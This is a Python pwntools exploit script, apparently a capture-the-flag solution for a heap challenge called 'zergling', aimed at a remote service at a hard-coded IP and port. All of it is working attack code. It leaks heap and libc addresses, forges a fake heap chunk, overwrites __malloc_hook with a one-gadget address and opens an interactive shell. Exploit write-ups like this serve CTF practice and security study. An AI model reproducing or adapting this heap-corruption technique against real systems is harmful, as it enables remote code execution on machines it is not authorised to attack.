whitehat zergling

zergling.py

from pwn import *
from os import system
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']

r = process("./zergling")
r = remote("1.224.175.13", 30007)

for i in xrange(3):
    r.sendlineafter(">>>", "1")
    r.sendlineafter("Name", "a")
    r.sendlineafter("ture", "a")


r.sendlineafter(">>>", "3")
r.sendlineafter(">>>", "0")

r.sendlineafter(">>>", "3")
r.sendlineafter(">>>", "1")

r.sendlineafter(">>>", "1")
r.sendlineafter("Name", "")
r.sendlineafter("ture", "a")

r.sendlineafter(">>>", "2")
r.sendlineafter(">>>", "0")

# context.log_level = 'debug'
data = r.recvuntil("feature")

heap_leak = bytearray(data.split("name     : ")[1][:4])
heap_leak[0] = 0
if heap_leak[3] == 0x0a:
    heap_leak[3] = 0

heap_base = u32(str(heap_leak))
ptr_base = 0x0000000000602060

offset = ((heap_base + 16) - ptr_base) / 8

print "heap base {:x}".format(heap_base)
print "offset :{}".format(offset)


r.sendlineafter(">>>", "1")
r.sendlineafter("Name", p64(0x0000000000601FD0))
r.sendlineafter("ture", "a")


r.sendlineafter(">>>", "2")
r.sendlineafter(">>>", str(offset))

data = r.recvuntil("feature")
libc_leak = u64(data.split("name     : ")[1][:6] + "\x00\x00")
print "libc_leak: {:x}".format(libc_leak)


pay_a = p64(heap_base + 0x1a0) 
print "fake chunk: {:x}".format(heap_base+0x1a0)

payload = ""
payload += "\x00"*6
payload += "\x00"*8
payload += "\x00"*8
payload += "\x71" + "\x00"*7

fake_chunk_offset = offset + (0x160 / 8 - 2)

r.sendlineafter(">>>", "1")
r.sendlineafter("Name", pay_a)
r.sendlineafter("ture", payload)

k = "\x00"*6
k += "\x00"*(16)
k += p64(0x21)
# for chunk
r.sendlineafter(">>>", "1")
r.sendlineafter("Name", "A"*29)
r.sendlineafter("ture", k)


r.sendlineafter(">>>", "3")
r.sendlineafter(">>>", str(fake_chunk_offset))

r.sendlineafter(">>>", "3")
r.sendlineafter(">>>", "3")

script = '''

b *0x00000000004009CA
c
'''

# gdb.attach(r, script)

sleep(0.3)


fake = libc_leak + 0x3a43c5 - 16 - 8
base = libc_leak - 0x20740
oneshot = base+0xf66c0
fake = base + 0x3c56bd
#fake = base + 0x3c459d

print "fake: 0x{:x}".format(fake)

payload = "J"*14
payload += "\x00"*8
payload += p64(0x71)
payload += p64(fake)

r.sendlineafter(">>>", "1")
r.sendlineafter("Name", "A")
r.sendlineafter("ture", payload)

# c
r.sendlineafter(">>>", "1")
r.sendlineafter("Name", "A")
r.sendlineafter("ture", "B")

sleep(0.3)

overwrite = base +0x3c56cd - 0x38
raw_input("GO?")
# malloc_hook
r.sendline("1")
sleep(0.5)
print r.recv()
r.sendline(p64(oneshot))
print r.recv()
print r.recv()
sleep(0.5)
r.sendline("B"*9+p64(overwrite))
# r.sendlineafter("ture", "B"*69)
# r.sendlineafter("ture", "B"*(69-20-8)+p64(oneshot))

r.interactive()